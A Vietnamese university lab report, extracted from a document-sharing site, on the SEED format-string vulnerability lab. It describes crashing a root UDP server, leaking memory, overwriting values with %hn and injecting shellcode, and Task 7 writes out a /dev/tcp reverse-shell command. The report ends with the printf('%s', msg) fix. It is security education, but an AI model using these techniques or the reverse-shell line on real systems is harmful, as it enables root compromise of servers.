Tài liệu hạn chế xem trước, để xem đầy đủ mời bạn chọn Tải xuống
1
/ 20 trang
THÔNG TIN TÀI LIỆU
Thông tin cơ bản
Định dạng
Số trang
20
Dung lượng
2,35 MB
Nội dung
BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUYÊN NGHÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) …………………………………………………………………………………………… Giảng viên hướng dẫn: Sinh viên thực hiện: Lớp: Mã số sinh viên: Nhóm: Khóa: PGS.TS Lương Thế Dũng Phạm Nguyễn Tiến Anh AT15H AT150702 13 2018-2023 TP Hồ Chí Minh, tháng 11 năm 2021 BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_STRING (FORMAT-STRING VULNERABILITY LAB) Nhận xét giáo viên hướng dẫn: Điểm báo cáo: Xác nhận giáo viên hướng dẫn: LỜI CẢM ƠN Chúng em xin chân thành cảm ơn PGS.TS Lương Thế Dũng–giảng viên trực tiếp hướng dẫn, bảo, tạo điều kiện thuận lợi giúp đỡ chúng em q trình thực đề tài Để có thành ngày hơm nay, ngồi nỗ lực khơng ngừng nghỉ thành viên nhóm phần khơng nhỏ đóng góp nên thành cơng nhờ quan tâm, bảo, giúp đỡ thầy cơ, anh chị khóa bạn bè xung quanh Tuy có nhiều cố gắng nỗ lực thành viên để hoàn thiện đề tài, chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT-STRING (FORMATSTRING VULNERABILITY LAB)” chúng em nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hoàn thiện tốt đề tài nghiên cứu sau Chúng em xin chân thành cảm ơn! LỜI MỞ ĐẦU Ngày nay, với xu hướng chuyển đổi số mạnh mẽ doanh nghiệp, công ty, tổ chức dẫn đến việc tạo phần mềm quản lý, điều hành làm việc thiết yếu Bên cạnh đó, ảnh hưởng đại dịch COVID-19 thúc đẩy nhanh việc chuyển đổi số Để đảm bảo an toàn cho phần mềm tạo vận hành tránh bị kẻ xấu công gây thiệt hại nghiêm trọng Đó lý để chúng em chọn chuyên đề Software Security đặc biệt nghiên cứu cách công lỗ hổng Format-String MỤC LỤC LỜI CẢM ƠN LỜI MỞ ĐẦU MỤC LỤC CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING 1.Giới thiệu 2.Mục tiêu CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK7 2.1 Task 1: Chương Trình Dễ Bị Tấn Cơng( The Vulnerable Program) 2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) 2.3 Task 3: Sự Cố Chương Trình (Crash the Program) 10 2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory) 11 2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory) 12 2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program ) 14 2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell ) 17 2.8 Task 8: Sửa lỗi (Fixing the Problem ) .18 CHƯƠNG 4: KẾT LUẬN 19 TÀI LIỆU THAM KHẢO 20 CHƯƠNG 1: TỔNG QUAN VỀ FORMAT-STRING 1.Giới thiệu Hàm printf () C sử dụng để in chuỗi theo định dạng Đối số gọi chuỗi định dạng, xác định cách định dạng chuỗi Định dạng chuỗi sử dụng trình giữ chỗ đánh dấu ký tự % cho hàm printf () để điền liệu trình in Việc sử dụng chuỗi định dạng khơng giới hạn hàm printf (); nhiều hàm khác, chẳng hạn sprintf (), fprintf (), scanf (), sử dụng chuỗi định dạng Một số chương trình cho phép người dùng cung cấp toàn phần nội dung chuỗi định dạng Nếu nội dung khơng làm sạch, người dùng độc hại sử dụng hội để lấy chương trình để chạy mã tùy ý Một vấn đề gọi lỗ hổng định dạng chuỗi(format-string vulnerability) 2.Mục tiêu Mục tiêu lab để sinh viên có kinh nghiệm trực tiếp lỗ hổng định dạng chuỗi cách đưa họ học lỗ hổng từ lớp học vào hành động Sinh viên cung cấp chương trình có lỗ hổng chuỗi định dạng; nhiệm vụ khai thác lỗ hổng để đạt điều sau thiệt hại: (1) làm hỏng chương trình, (2) đọc nhớ chương trình, (3) sửa đổi nhớ chương trình nghiêm trọng (4) đưa thực thi mã độc hại cách sử dụng đặc quyền truy cập chương trình nạn nhân Hậu cuối nguy hiểm chương trình dễ bị cơng chương trình đặc quyền, chẳng hạn root deamon, điều cung cấp cho kẻ công quyền truy cập root hệ thống CHƯƠNG 2: TIẾN HÀNH THỰC HIỆN BÀI LAB THEO THỨ TỰ TỪNG TASK Trước thực cơng để đơn giản hóa task cơng, vơ hiệu hóa ngẫu nhiên địa chỉ: Address Space Randomization Ubuntu số hệ thống dựa Linux khác sử dụng ngẫu nhiên hóa khơng gian địa để ngẫu nhiên hóa địa bắt đầu heap stack Điều làm cho việc đốn địa xác trở nên khó khăn; đoán địa bước quan trọng cơng Trong phịng thí nghiệm này, cần vơ hiệu hóa điều lệnh đây: 2.1 Task 1: Chương Trình Dễ Bị Tấn Công( The Vulnerable Program) Chúng ta cung cấp chương trình dễ bị cơng có lỗ hổng chuỗi định dạng Chương trình chương trình máy chủ Khi chạy, lắng nghe cổng UDP 9090 Bất gói UDP đến cổng này, chương trình liệu gọi myprint () để in liệu Máy chủ root daemon, tức chạy với đặc quyền root Bên hàm myprintf (), có lỗ hổng định dạng chuỗi Chúng ta khai thác lỗ hổng để đạt đặc quyền root Chúng ta compile chương trình máy chủ(server) cho có lỗ hổng chuỗi định dạng Trong biên dịch, làm cho ngăn xếp thực thi để chèn chạy mã riêng cách khai thác lỗ hổng bảo mật sau phịng thí nghiệm Chạy máy chủ(server) máy khách(client) VM, trước tiên chạy chương trình phía máy chủ(server) sử dụng đặc quyền root, sau lắng nghe thông tin cổng 9090 Chương trình máy chủ root daemon có quyền Sau đó, kết nối với máy chủ(server) từ máy khách(client) sử dụng lệnh ‘nc’ với -u cho biết UDP (vì máy chủ UDP server ) Ip địa máy cục - 127.0.0.1 cổng cổng UDP 9090 Điều thấy sau : Trong compile, nhận cảnh báo mà tạm thời bỏ qua Chúng ta gửi chuỗi "It is working." để kiểm tra chương trình thấy thứ gửi từ máy khách(client) in xác theo cách tương tự máy chủ(server), với số thông tin bổ sung 2.2 Task 2: Tìm Hiểu Layout of the Stack (Understanding the Layout of the Stack) Để tìm địa vị trí định, cố gắng xem giá trị trả chương trình máy chủ(server) nhắc để cung cấp thêm địa Để bắt đầu, thấy địa đối số ‘msg’ in đầu máy chủ(server output) Vì Return Address (2) byte đó, tính tốn địa giá trị trả 0xBFFFF0A0 - = 0xBFFFF09C Tiếp theo, để tìm địa điểm bắt đầu đệm (3), nhập byte ngẫu nhiên ký tự - @@@@ có giá trị ASCII gọi 40404040 Các ký tự lưu trữ đầu đệm chúng ký tự đệm hồn tồn giá trị đưa đầu vào Vì vậy, nhập ký tự nhiều % 8x làm đầu vào để tìm giá trị lưu trữ địa từ địa chuỗi định dạng đến số địa ngẫu nhiên, hi vọng đệm bắt đầu Chúng ta cố gắng tìm kiếm giá trị ASCII 40404040, để xác định khác biệt địa chuỗi định dạng điểm bắt đầu đệm Chúng ta thấy có khác biệt 23% 8x điểm bắt đầu địa đệm, tức @@@@ địa sau định dạng địa chuỗi Điều nhìn thấy đây: 2.3 Task 3: Sự Cố Chương Trình (Crash the Program) Để chương trình gặp cố, cung cấp chuỗi% s làm đầu vào cho chương trình thấy sau: Ở đây, chương trình bị gặp cố % s coi giá trị thu từ vị trí địa in liệu lưu trữ địa Vì biết nhớ lưu trữ khơng dành cho hàm printf khơng chứa địa tất vị 10 trí tham chiếu, chương trình bị cố Giá trị chứa tham chiếu đến nhớ bảo vệ không chứa nhớ tất cả, dẫn đến cố 2.4 Task 4: In Ra Bộ Nhớ Của Chương Trình Máy Chủ(Print Out the Server Program’s Memory) Task 4.A: Dữ liệu ngăn xếp (Stack Data) Tại đây, nhập liệu - @@@@ loạt liệu% 8x Sau đó, chúng tơi tìm kiếm giá trị - @@@@, có giá trị ASCII 40404040 lưu nhớ Chúng thấy % x thứ 24, thấy đầu vào chúng tơi thành cơng việc đọc liệu lưu trữ ngăn xếp Phần lại của % x hiển thị nội dung ngăn xếp Chúng ta yêu cầu 24 mã định dạng để in byte đầu vào Task 4.B: Cây liệu (Heap Data) Tiếp theo, cung cấp thông tin đầu vào sau cho máy chủ(server): 11 Chúng ta thấy kết sau cho thấy thơng điệp bí mật lưu trữ vùng đống in ra: Do đó, thành cơng việc đọc liệu heap cách lưu trữ địa liệu heap ngăn xếp sau sử dụng trình định dạng% s vị trí để đọc nhớ lưu trữ địa sau lấy giá trị từ địa 2.5 Task 5: Thay Đổi Bộ Nhớ Của Chương Trình Máy Chủ ( Change the Server Program’s Memory) value) Task 5.A: Thay đổi giá trị thành giá trị khác (Change the value to a different Trong task phụ này, cần thay đổi nội dung biến mục tiêu thành thứ khác Nhiệm vụ bạn coi thành cơng bạn thay đổi thành giá trị khác, giá trị 12 Điều để thay đổi giá trị biến 'target' thành 0x123 Task 5.B: Thay đổi giá trị thành 0x500 (Change the value to 0x500) Trong task phụ này, cần thay đổi nội dung biến mục tiêu thành giá trị cụ thể 0x500 Nhiệm vụ bạn coi thành công giá trị biến trở thành 0x500 Task 5.C: Thay đổi giá trị thành 0xFF990000 (Change the value to 0xFF990000) Task phụ tương tự task trước, ngoại trừ giá trị mục tiêu số lớn Trong công chuỗi định dạng, giá trị tổng số ký tự in hàm printf (); việc in số lượng lớn ký tự hàng Bạn cần sử dụng cách tiếp cận nhanh Ý tưởng sử dụng % hn, thay % n, sửa đổi khơng gian nhớ hai byte, thay bốn byte Việc in 216 ký tự không nhiều thời gian Chúng ta chia khơng gian nhớ biến đích thành hai khối nhớ, khối có hai byte Chúng ta cần đặt khối thành 0xFF99 đặt khối lại thành 0x0000 Điều có nghĩa cơng bạn, bạn cần cung cấp hai địa chuỗi định dạng Trong công chuỗi định dạng, việc thay đổi nội dung không gian nhớ thành giá trị nhỏ khó khăn (vui lịng giải thích lý báo cáo); 0x00 trường hợp cực đoan Để đạt mục tiêu này, cần sử dụng kỹ thuật tràn Ý tưởng tạo số lớn nhớ cho phép, phần số lưu trữ (về bản, có số ngun bị tràn) Ví dụ: số 216 + lưu trữ khơng gian nhớ 16 bit, có lưu trữ Do đó, để 0, cần lấy số 216 = 65,536 13 Đầu tiên, cần chia thành hai phần: 0xFF99 0x10000 Vì phương pháp little endian sử dụng, 0xFF99 thêm vào 0x0804a046 103 thêm vào 0x0804a644 0xFF99 - 0x8 = 0xFF91 = 65425 (0x0804a046) 0x10000 - 0xFF91 - 0x8 = 0x67 = 103 (0x0804a644) 2.6 Task 6: Tiêm Mã Độc Vào Chương Trình Máy Chủ (Inject Malicious Code into the Server Program ) Bây sẵn sàng tới trọng tâm công này, tức đưa đoạn mã độc hại vào chương trình máy chủ, chúng tơi xóa tệp khỏi máy chủ Nhiệm vụ đặt móng cho nhiệm vụ chúng ta, giành quyền kiểm sốt hồn tồn máy tính chủ 14 Để thực task này, cần đưa đoạn mã độc hại, định dạng nhị phân, vào máy chủ nhớ, sau sử dụng lỗ hổng chuỗi định dạng để sửa đổi trường địa trả hàm, hàm trả về, nhảy đến mã đưa vào Để xóa tệp, muốn mã độc hại thực lệnh / bin / rm cách sử dụng chương trình shell, chẳng hạn / bin / bash Loại mã gọi shellcode Trước tiên, tạo tệp có tên myfile phía máy chủ mà chúng tơi cố gắng xóa tác vụ này: Viết exploit.py với phần quan trọng bên dưới: Tiếp theo, nhập thông tin sau vào máy chủ, sửa đổi địa trả 0xBFFFF358 với giá trị ngăn xếp có chứa mã độc hại Mã độc có lệnh rm xóa tệp tạo trước máy chủ 15 Ở đây, phần đầu mã độc, nhập vào số NOP operations , ví dụ \ x90 để chương trình chạy từ đầu không cần phải đốn địa xác nơi bắt đầu mã NOP cung cấp cho loạt địa chuyển đến địa số cung cấp cho kết thành cơng, chương trình bị lỗi việc thực thi mã khơng thứ tự tệp: Kết sau cho thấy công thành cơng khơng cịn thấy Chuỗi định dạng tạo có địa trả về, tức 0xBFFFF09C lưu trữ đầu đệm Chúng ta chia địa thành 2-bytes,tức 0xBFFFF09C 0xBFFFF09E, để trình nhanh địa phân tách số byte để giá trị lưu thứ byte tăng đến giá trị mong muốn 2% hn Nếu khơng có byte bổ sung sau thấy %x đầu vào sau %hn đầu tiên, giá trị địa BFFFF09C nhận được in thay ghi vào trường hợp có trở lại% hn, giá trị lưu trữ hai địa Sau đó, chúng tơi sử dụng cơng cụ sửa đổi độ xác để lấy địa mã độc lưu địa trả sử dụng% hn để lưu địa Các mã độc lưu đệm, phía địa đánh dấu Hình sách hướng dẫn Các địa sử dụng 0xBFFFF15C, lưu trữ NOP 16 2.7 Task 7: Đạt Được Một Reverse Shell (Getting A Reverse Shell ) Trong chuỗi định dạng trước, sửa đổi mã độc để chạy lệnh sau để đạt reverse shell : /bin/bash -c "/bin/bash -i > /dev/tcp/localhost/7070 0&1 Chuỗi nhập sau thấy, giống với chuỗi trước ngoại trừ mã: Trước cung cấp đầu vào cho máy chủ, chạy máy chủ TCP lắng nghe cổng 7070 máy kẻ cơng sau nhập chuỗi định dạng Trong ảnh chụp hình tiếp theo, thấy có đạt thành cơng trình reverse shell máy chủ TCP nghe hiển thị trước hiển thị máy chủ Trình bao đảo ngược cho phép máy nạn nhân có root shell server định # root @VM Điều cho thấy cách mà chúng tơi khai thác lỗ hổng chuỗi định dạng để có quyền truy cập root vào máy chủ máy cho trường hợp 17 2.8 Task 8: Sửa lỗi (Fixing the Problem ) Trình biên dịch đưa lỗi có đối số msg định dạng hàm printf mà khơng có ký tự chuỗi đối số bổ sung Cảnh báo nâng lên dòng printf (msg) đoạn mã sau: [1] Điều xảy sử dụng không cách không định mã định dạng lấy input từ người dùng Để khắc phục lỗ hổng này, chúng tơi cần thay printf (“% s”, msg) biên dịch lại chương trình lần để kiểm tra xem cố thực khắc phục chưa Phần sau cho thấy chương trình sửa đổi biên dịch lại theo cách tương tự, không nhiều cung cấp cảnh báo nào: [1] [1] Do đó, sửa lỗi giúp khắc phục lỗ hổng chuỗi định dạng 18 CHƯƠNG 4: KẾT LUẬN Trong lab này, sinh viên cung cấp chương trình có lỗ hổng định dạng chuỗi; nhiệm vụ họ phát triển kế hoạch để khai thác lỗ hổng bảo mật Ngồi cơng, sinh viên hướng dẫn để qua chương trình bảo vệ sử dụng để đánh bại kiểu cơng Học sinh cần đánh giá xem chương trình hoạt động hay khơng giải thích Cần lưu ý kết phịng thí nghiệm phụ thuộc vào hệ điều hành Mô tả thảo luận dựa Ubuntu Linux Nó hoạt động phiên Ubuntu Tuy vậy, bạn sử dụng hệ điều hành khác nhau, vấn đề cố khác xuất 19 TÀI LIỆU THAM KHẢO [1] MeghaJakhotia, "Format String," [Online] Available: https://github.com/MeghaJakhotia/ComputerSecurityAttacks/tree/master/Format %20String [2] firmianay, "format_string-vulnerability-lab.md," [Online] Available: https://github.com/firmianay/Life-long-Learner/blob/master/SEED-labs/ format_string-vulnerability-lab.md [3] li-xin-yi, "Format-String-Vulnerability," [Online] Available: li-xin-yihttps://github.com/li-xin-yi/seedlab/tree/master/Format-String-Vulnerability [4] W Du, "Format-String Vulnerability Lab," [Online] Available: https://seedsecuritylabs.org/Labs_16.04/Software/Format_String_Server/ 20 ...BAN CƠ YẾU CHÍNH PHỦ HỌC VIỆN KỸ THUẬT MẬT MÃ KHOA: AN TỒN THƠNG TIN THỰC TẬP CƠ SỞ CHUYÊN NGÀNH AN TOÀN PHẦN MỀM NGHIÊN CỨU LỖ HỔNG FORMAT_ STRING (FORMAT- STRING VULNERABILITY LAB) Nhận... chắn đề tài “NGHIÊN CỨU LỖ HỔNG FORMAT- STRING (FORMATSTRING VULNERABILITY LAB)? ?? chúng em cịn nhiều thiếu sót Chúng em mong nhận góp ý từ thầy giáo để nhóm em hồn thiện tốt đề tài nghiên cứu sau Chúng... ý Một vấn đề gọi lỗ hổng định dạng chuỗi (format- string vulnerability) 2.Mục tiêu Mục tiêu lab để sinh viên có kinh nghiệm trực tiếp lỗ hổng định dạng chuỗi cách đưa họ học lỗ hổng từ lớp học vào